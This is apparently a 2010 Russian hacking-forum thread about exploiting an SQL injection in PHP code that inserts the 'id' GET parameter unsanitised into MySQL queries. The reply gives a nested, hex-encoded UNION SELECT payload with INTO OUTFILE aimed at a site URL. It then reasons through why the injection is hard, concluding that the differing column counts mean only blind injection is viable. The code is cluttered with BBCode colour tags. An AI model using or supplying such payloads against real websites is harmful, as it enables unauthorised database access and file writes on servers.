
03.07.2010, 00:28
|
|
Познающий
Регистрация: 26.12.2006
Сообщений: 31
С нами:
10196777
Репутация:
10
|
|
Сообщение от SeNaP
Как правильно составить двойной запрос?
PHP код:
[COLOR="#000000"][COLOR="#0000BB"] [/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]recordcount_new[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ps_sql[/COLOR][COLOR="#007700"]){
global[/COLOR][COLOR="#0000BB"]$conn_s[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$rs_s2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"select COUNT(CODE) as count1 from "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$ps_sql[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$conn_s[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$rs_s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$rs_s2[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$pi_recordcount[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$rs_s[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'count1'[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]mysql_free_result[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$rs_s2[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$pi_recordcount[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]$pi_recordcount[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]$pi_recordcount[/COLOR][COLOR="#007700"];
}
[/COLOR][/COLOR]
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$rs_2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"select * from tbl_subkat where KATCODE="[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]" order by POSITION, NAZV"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$conn1[/COLOR][COLOR="#007700"]);
while (([/COLOR][COLOR="#0000BB"]$rs[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_assoc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$rs_2[/COLOR][COLOR="#007700"]))!==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$pi2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]recordcount_new[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"tbl_base where ISMODER=1 and (SUBKAT1="[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$rs[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'CODE'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]" or SUBKAT2="[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$rs[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'CODE'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]" or SUBKAT3="[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$rs[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'CODE'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]")"[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$pi2[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) echo[/COLOR][COLOR="#DD0000"]' ('[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pi2[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]')'[/COLOR][COLOR="#007700"];
}
[/COLOR][/COLOR]
-1+UniON+SelEcT+1+into+outfile+'1.txt'-- = 0x2d312b556e694f4e2b53656c4563542b312b696e746f2b6f 757466696c652b5c27312e7478745c272d2d
http://site.ru/kat.php?id=-1+UnioN+SeELcT+0x2d312b556e694f4e2b53656c4563542b3 12b696e746f2b6f757466696c652b5c27312e7478745c272d2 d,2,version(),4--
идем по порядку:
1) гет параметр передаецо только 1 и это id - других параметров не вижу
2) далее пошли перелопачивать все это(непонятно зачем селект был всего а работаем только с 1м столбцом)
3)потом через это рс начали делать запросы которые должны вернуть только число хотя мускулу пофиг в данном случае и проверок нет надлежащих, но смущает то что вывод происходит по именам столбцов а не по номерам(это и к первому и ко втророму куску кода относицо).
4) Наконец у нас в таблицах происходит выбор разного количества столбцов- а это уже в данном случае только блинда
последнее убивает окончательно:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]$pi2[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) echo[/COLOR][COLOR="#DD0000"]' ('[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pi2[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]')'[/COLOR][COLOR="#007700"];[/COLOR][/COLOR]
если сервер настроен так что не будет выдавацо ошибок мускула то дело тухлое - так как не сможем проверить даже правильный или нет первый запрос
|
|
|